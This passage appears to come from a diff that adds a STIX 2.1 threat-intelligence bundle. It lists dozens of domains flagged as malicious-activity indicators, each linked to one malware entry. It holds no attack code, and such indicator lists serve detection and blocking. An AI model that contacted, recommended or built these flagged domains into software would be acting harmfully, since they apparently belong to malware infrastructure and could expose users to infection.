"2023-03-29T12:58:43.784642Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='crossrace.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.784642Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0f98a327-05f6-4db9-a5ab-f0ded4399e63", + "created": "2023-03-29T12:58:43.785241Z", + "modified": "2023-03-29T12:58:43.785241Z", + "relationship_type": "indicates", + "source_ref": "indicator--aa415475-7fff-4f16-888d-40bd0610715a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7ea35a66-f876-4dfe-9f31-1f50c1dd7549", + "created": "2023-03-29T12:58:43.785412Z", + "modified": "2023-03-29T12:58:43.785412Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='impotentethanol.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.785412Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d5aa1716-b954-4a28-84c0-a577266e3659", + "created": "2023-03-29T12:58:43.786026Z", + "modified": "2023-03-29T12:58:43.786026Z", + "relationship_type": "indicates", + "source_ref": "indicator--7ea35a66-f876-4dfe-9f31-1f50c1dd7549", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9f2a0327-ab79-49ea-8e3b-cf8499e481a0", + "created": "2023-03-29T12:58:43.7862Z", + "modified": "2023-03-29T12:58:43.7862Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='maritalexporter.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.7862Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3525aa7c-3ad3-4d61-896a-ac6cec23301c", + "created": "2023-03-29T12:58:43.78692Z", + "modified": "2023-03-29T12:58:43.78692Z", + "relationship_type": "indicates", + "source_ref": "indicator--9f2a0327-ab79-49ea-8e3b-cf8499e481a0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0f0f5c16-ebae-4f4a-827e-f16bf685000b", + "created": "2023-03-29T12:58:43.787096Z", + "modified": "2023-03-29T12:58:43.787096Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unvisitedessence.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.787096Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2a346b75-5323-4e86-975e-7e00f03284bc", + "created": "2023-03-29T12:58:43.787707Z", + "modified": "2023-03-29T12:58:43.787707Z", + "relationship_type": "indicates", + "source_ref": "indicator--0f0f5c16-ebae-4f4a-827e-f16bf685000b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bb5b432d-0575-495f-8dce-0e61e687cbe8", + "created": "2023-03-29T12:58:43.787878Z", + "modified": "2023-03-29T12:58:43.787878Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='simplyunrented.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.787878Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1f5a45bc-5cb1-496f-abdf-201f8c851816", + "created": "2023-03-29T12:58:43.788481Z", + "modified": "2023-03-29T12:58:43.788481Z", + "relationship_type": "indicates", + "source_ref": "indicator--bb5b432d-0575-495f-8dce-0e61e687cbe8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--41f7d509-2db7-453b-886e-a1c85fdfe333", + "created": "2023-03-29T12:58:43.788651Z", + "modified": "2023-03-29T12:58:43.788651Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='thermicplastic.uk']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.788651Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e2cf866c-c719-43ce-9360-48b19b3fe1fd", + "created": "2023-03-29T12:58:43.789265Z", + "modified": "2023-03-29T12:58:43.789265Z", + "relationship_type": "indicates", + "source_ref": "indicator--41f7d509-2db7-453b-886e-a1c85fdfe333", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--90cdce04-3e1d-4a6e-9cf2-eeebf94084b4", + "created": "2023-03-29T12:58:43.789439Z", + "modified": "2023-03-29T12:58:43.789439Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='avenuereborn.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.789439Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b7289aea-8f54-4eb9-8b45-a17f00efdf4e", + "created": "2023-03-29T12:58:43.790053Z", + "modified": "2023-03-29T12:58:43.790053Z", + "relationship_type": "indicates", + "source_ref": "indicator--90cdce04-3e1d-4a6e-9cf2-eeebf94084b4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a2db3af1-88c2-4313-bf1c-f1af4f5cbe42", + "created": "2023-03-29T12:58:43.790224Z", + "modified": "2023-03-29T12:58:43.790224Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='badnessbackdrop.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.790224Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--58d3dc69-1b87-4a36-afd0-70f8eb641580", + "created": "2023-03-29T12:58:43.79083Z", + "modified": "2023-03-29T12:58:43.79083Z", + "relationship_type": "indicates", + "source_ref": "indicator--a2db3af1-88c2-4313-bf1c-f1af4f5cbe42", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0b8e3e42-f39a-4e06-8682-394436548a7b", + "created": "2023-03-29T12:58:43.791001Z", + "modified": "2023-03-29T12:58:43.791001Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='skirmishdandelion.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.791001Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--aac50e6c-60ad-41c8-8cf7-f9f0d0e580cc", + "created": "2023-03-29T12:58:43.791653Z", + "modified": "2023-03-29T12:58:43.791653Z", + "relationship_type": "indicates", + "source_ref": "indicator--0b8e3e42-f39a-4e06-8682-394436548a7b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--863e4baa-cb50-4b55-8a58-2be072f7285c", + "created": "2023-03-29T12:58:43.791827Z", + "modified": "2023-03-29T12:58:43.791827Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stillmakes.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.791827Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4185f707-28a2-4c0b-b1ee-68038319252e", + "created": "2023-03-29T12:58:43.792444Z", + "modified": "2023-03-29T12:58:43.792444Z", + "relationship_type": "indicates", + "source_ref": "indicator--863e4baa-cb50-4b55-8a58-2be072f7285c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--04a5931a-9ef8-42ef-9dd0-b615652a27ea", + "created": "2023-03-29T12:58:43.792618Z", + "modified": "2023-03-29T12:58:43.792618Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='attainviolin.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.792618Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8a6465f4-04db-4179-acb5-31c7a124b136", + "created": "2023-03-29T12:58:43.793241Z", + "modified": "2023-03-29T12:58:43.793241Z", + "relationship_type": "indicates", + "source_ref": "indicator--04a5931a-9ef8-42ef-9dd0-b615652a27ea", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ce8dae98-1f68-4f15-9415-9cf487085355", + "created": "2023-03-29T12:58:43.793432Z", + "modified": "2023-03-29T12:58:43.793432Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='carsonroad.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.793432Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a57d98ed-8fd6-461d-8757-c93906a8eb58", + "created": "2023-03-29T12:58:43.794156Z", + "modified": "2023-03-29T12:58:43.794156Z", + "relationship_type": "indicates", + "source_ref": "indicator--ce8dae98-1f68-4f15-9415-9cf487085355", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6defa983-8c97-4204-b810-d066e01408ac", + "created": "2023-03-29T12:58:43.794333Z", + "modified": "2023-03-29T12:58:43.794333Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='certaingiftkey.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.794333Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--55934ad2-92d9-40fa-a674-fea1c1a70890", + "created": "2023-03-29T12:58:43.794938Z", + "modified": "2023-03-29T12:58:43.794938Z", + "relationship_type": "indicates", + "source_ref": "indicator--6defa983-8c97-4204-b810-d066e01408ac", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--22a4b801-158a-4f98-b319-e7940d73f40a", + "created": "2023-03-29T12:58:43.795109Z", + "modified": "2023-03-29T12:58:43.795109Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unvaluedmagma.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.795109Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fe3af231-b59f-4a86-9ac1-3b97e9b3fdc1", + "created": "2023-03-29T12:58:43.795709Z", + "modified": "2023-03-29T12:58:43.795709Z", + "relationship_type": "indicates", + "source_ref": "indicator--22a4b801-158a-4f98-b319-e7940d73f40a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--638ea736-8240-45d6-a565-1a8cfd26bc37", + "created": "2023-03-29T12:58:43.79588Z", + "modified": "2023-03-29T12:58:43.79588Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='crispybotch.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.79588Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5aee1cd8-5404-4377-bf8b-6d8e53efcaf3", + "created": "2023-03-29T12:58:43.796485Z", + "modified": "2023-03-29T12:58:43.796485Z", + "relationship_type": "indicates", + "source_ref": "indicator--638ea736-8240-45d6-a565-1a8cfd26bc37", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--95a5096a-d26a-408c-96bc-324e96f75446", + "created": "2023-03-29T12:58:43.796659Z", + "modified": "2023-03-29T12:58:43.796659Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cucinageorgio.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.796659Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7b06c468-c3d3-474e-8ae7-a0f8d4202e24", + "created": "2023-03-29T12:58:43.797265Z", + "modified": "2023-03-29T12:58:43.797265Z", + "relationship_type": "indicates", + "source_ref": "indicator--95a5096a-d26a-408c-96bc-324e96f75446", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8e68a31f-a693-47c6-b615-f27ae5dd18e5", + "created": "2023-03-29T12:58:43.797435Z", + "modified": "2023-03-29T12:58:43.797435Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ringercan.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.797435Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3d20c384-c620-4a0e-bf6b-cdaf9f0c8dc2", + "created": "2023-03-29T12:58:43.798045Z", + "modified": "2023-03-29T12:58:43.798045Z", + "relationship_type": "indicates", + "source_ref": "indicator--8e68a31f-a693-47c6-b615-f27ae5dd18e5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b1da6812-de17-4985-b749-f9ff3fd767d6", + "created": "2023-03-29T12:58:43.798217Z", + "modified": "2023-03-29T12:58:43.798217Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='slatedcards.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.798217Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--723cd161-4292-4f4e-8282-5940f91a37e4", + "created": "2023-03-29T12:58:43.798813Z", + "modified": "2023-03-29T12:58:43.798813Z", + "relationship_type": "indicates", + "source_ref": "indicator--b1da6812-de17-4985-b749-f9ff3fd767d6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--95fe5f69-3f40-4430-905b-8e422fffd89b", + "created": "2023-03-29T12:58:43.798985Z", + "modified": "2023-03-29T12:58:43.798985Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='vindicatestew.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.798985Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a5f1c485-133c-48ff-aed8-3aba4463aef6", + "created": "2023-03-29T12:58:43.799587Z", + "modified": "2023-03-29T12:58:43.799587Z", + "relationship_type": "indicates", + "source_ref": "indicator--95fe5f69-3f40-4430-905b-8e422fffd89b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b5d7ad23-382d-4bd1-b528-5f20465284fd", + "created": "2023-03-29T12:58:43.799758Z", + "modified": "2023-03-29T12:58:43.799758Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='matadorthinning.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.799758Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b4b831a9-9c94-4422-b195-164361efc1b7", + "created": "2023-03-29T12:58:43.800369Z", + "modified": "2023-03-29T12:58:43.800369Z", + "relationship_type": "indicates", + "source_ref": "indicator--b5d7ad23-382d-4bd1-b528-5f20465284fd", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7715e867-35df-4979-8fef-7fcbe76f044a", + "created": "2023-03-29T12:58:43.800552Z", + "modified": "2023-03-29T12:58:43.800552Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='reformedrudder.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.800552Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--001ec381-0d66-4309-a90c-75915739cdb5", + "created": "2023-03-29T12:58:43.801274Z", + "modified": "2023-03-29T12:58:43.801274Z", + "relationship_type": "indicates", + "source_ref": "indicator--7715e867-35df-4979-8fef-7fcbe76f044a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cfaac719-8b02-40a1-9cb4-4608a63d5133", + "created": "2023-03-29T12:58:43.801451Z", + "modified": "2023-03-29T12:58:43.801451Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='onshoreunsalted.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.801451Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9563a112-58a4-48d4-b9f6-92d986188e83", + "created": "2023-03-29T12:58:43.802069Z", + "modified": "2023-03-29T12:58:43.802069Z", + "relationship_type": "indicates", + "source_ref": "indicator--cfaac719-8b02-40a1-9cb4-4608a63d5133", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--46f771be-eadd-42b7-b138-894eabed46ce", + "created": "2023-03-29T12:58:43.802242Z", + "modified": "2023-03-29T12:58:43.802242Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='abstainoxymoron.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.802242Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7d6f6b4b-afa9-4678-a565-5007b753aa2b", + "created": "2023-03-29T12:58:43.802862Z", + "modified": "2023-03-29T12:58:43.802862Z", + "relationship_type": "indicates", + "source_ref": "indicator--46f771be-eadd-42b7-b138-894eabed46ce", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--58714d8f-31f6-42a8-8180-13867975b743", + "created": "2023-03-29T12:58:43.803034Z", + "modified": "2023-03-29T12:58:43.803034Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='vanitycredibly.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.803034Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e35eb8fc-523b-45a3-8013-02e412666c8f", + "created": "2023-03-29T12:58:43.80364Z", + "modified": "2023-03-29T12:58:43.80364Z", + "relationship_type": "indicates", + "source_ref": "indicator--58714d8f-31f6-42a8-8180-13867975b743", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6d6048fc-3689-495a-bbab-760bd423fe24", + "created": "2023-03-29T12:58:43.803812Z", + "modified": "2023-03-29T12:58:43.803812Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='occhisulmondo-info.news']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.803812Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6087aa3f-8d9f-4901-b681-1312122bcbef", + "created": "2023-03-29T12:58:43.804418Z", + "modified": "2023-03-29T12:58:43.804418Z", + "relationship_type": "indicates", + "source_ref": "indicator--6d6048fc-3689-495a-bbab-760bd423fe24", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--361cc6b7-1a3a-4883-bccf-6f3cec6d8b51", + "created": "2023-03-29T12:58:43.804589Z", + "modified": "2023-03-29T12:58:43.804589Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='remotestate.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.804589Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--73569e47-0c88-46ef-b6ab-a903c17fb27d", + "created": "2023-03-29T12:58:43.805188Z", + "modified": "2023-03-29T12:58:43.805188Z", + "relationship_type": "indicates", + "source_ref": "indicator--361cc6b7-1a3a-4883-bccf-6f3cec6d8b51", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c5dfbcb2-1ee4-4be7-bfe2-ca0e3bff91d0", + "created": "2023-03-29T12:58:43.805359Z", + "modified": "2023-03-29T12:58:43.805359Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='defiantwaltz.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.805359Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--26bcceca-c36b-4f7a-b45d-ce5e8e62f883", + "created": "2023-03-29T12:58:43.805969Z", + "modified": "2023-03-29T12:58:43.805969Z", + "relationship_type": "indicates", + "source_ref": "indicator--c5dfbcb2-1ee4-4be7-bfe2-ca0e3bff91d0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--372be8e2-9ba8-4e1a-bf24-fef38285b9e4", + "created": "2023-03-29T12:58:43.806142Z", + "modified": "2023-03-29T12:58:43.806142Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='regaliaspoiled.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.806142Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--366d8121-431d-4bc4-955c-5f17ca8a6959", + "created": "2023-03-29T12:58:43.806751Z", + "modified": "2023-03-29T12:58:43.806751Z", + "relationship_type": "indicates", + "source_ref": "indicator--372be8e2-9ba8-4e1a-bf24-fef38285b9e4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--050718c6-8379-4d33-90bd-d7777ada7d00", + "created": "2023-03-29T12:58:43.806922Z", + "modified": "2023-03-29T12:58:43.806922Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='flocksmite.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.806922Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3bc98ae2-1cea-4629-b61c-5ae761e7cc21", + "created": "2023-03-29T12:58:43.807523Z", + "modified": "2023-03-29T12:58:43.807523Z", + "relationship_type": "indicates", + "source_ref": "indicator--050718c6-8379-4d33-90bd-d7777ada7d00", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a861170d-787e-41e9-8c61-043321564269", + "created": "2023-03-29T12:58:43.807711Z", + "modified": "2023-03-29T12:58:43.807711Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='trousersslashed.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.807711Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a5bc7f48-3cf2-47ee-a9a7-40e6fb8d4fd1", + "created": "2023-03-29T12:58:43.80846Z", + "modified": "2023-03-29T12:58:43.80846Z", + "relationship_type": "indicates", + "source_ref": "indicator--a861170d-787e-41e9-8c61-043321564269", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f511ee31-9194-4c49-830f-7052d2bb77da", + "created": "2023-03-29T12:58:43.808638Z", + "modified": "2023-03-29T12:58:43.808638Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nextoncare.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.808638Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9707eb82-d278-4c90-904b-6916807b6f21", + "created": "2023-03-29T12:58:43.809244Z", + "modified": "2023-03-29T12:58:43.809244Z", + "relationship_type": "indicates", + "source_ref": "indicator--f511ee31-9194-4c49-830f-7052d2bb77da", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1695ac19-d838-4959-879f-2a3ad3ab7c35", + "created": "2023-03-29T12:58:43.80942Z", + "modified": "2023-03-29T12:58:43.80942Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ravishingpapyrus.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.80942Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6630e50f-7bf4-49c6-b951-b01e6d46817e", + "created": "2023-03-29T12:58:43.81007Z", + "modified": "2023-03-29T12:58:43.81007Z", + "relationship_type": "indicates", + "source_ref": "indicator--1695ac19-d838-4959-879f-2a3ad3ab7c35", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--911d9dfb-caca-4985-a104-db09c7aae9e5", + "created": "2023-03-29T12:58:43.810248Z", + "modified": "2023-03-29T12:58:43.810248Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='thimbleducking.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.810248Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--05f0de14-038b-4ad8-ab25-b87524a95b72", + "created": "2023-03-29T12:58:43.810869Z", + "modified": "2023-03-29T12:58:43.810869Z", + "relationship_type": "indicates", + "source_ref": "indicator--911d9dfb-caca-4985-a104-db09c7aae9e5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6ab41ae4-332c-46ec-8b36-947135a3ba1b", + "created": "2023-03-29T12:58:43.811043Z", + "modified": "2023-03-29T12:58:43.811043Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='exposurethirstily.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.811043Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--18f2cd61-2078-4206-8500-eeb3d3ae3721", + "created": "2023-03-29T12:58:43.81165Z", + "modified": "2023-03-29T12:58:43.81165Z", + "relationship_type": "indicates", + "source_ref": "indicator--6ab41ae4-332c-46ec-8b36-947135a3ba1b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b4d56bd0-259e-4d00-908c-331ef91f340a", + "created": "2023-03-29T12:58:43.811821Z", + "modified": "2023-03-29T12:58:43.811821Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='taskrequisite.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.811821Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1af5e544-cd80-4d50-a15e-4f797e7236ca", + "created": "2023-03-29T12:58:43.812425Z", + "modified": "2023-03-29T12:58:43.812425Z", + "relationship_type": "indicates", + "source_ref": "indicator--b4d56bd0-259e-4d00-908c-331ef91f340a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b0508584-a773-4ef4-9751-1baa1f8eaff6", + "created": "2023-03-29T12:58:43.812597Z", + "modified": "2023-03-29T12:58:43.812597Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='navigatorunsigned.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.812597Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3de103c6-ff21-4897-a5e4-2d224880ab4d", + "created": "2023-03-29T12:58:43.813203Z", + "modified": "2023-03-29T12:58:43.813203Z", + "relationship_type": "indicates", + "source_ref": "indicator--b0508584-a773-4ef4-9751-1baa1f8eaff6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fe3b354f-8f9a-499a-b740-ae8ed87f6476", + "created": "2023-03-29T12:58:43.813382Z", + "modified": "2023-03-29T12:58:43.813382Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sacrificehandmade.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.813382Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7fb4b85b-157f-4e64-9af4-d55f38ef48a4", + "created": "2023-03-29T12:58:43.814015Z", + "modified": "2023-03-29T12:58:43.814015Z", + "relationship_type": "indicates", + "source_ref": "indicator--fe3b354f-8f9a-499a-b740-ae8ed87f6476", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5f32724d-76ae-4fd1-ac28-0159cba7e679", + "created": 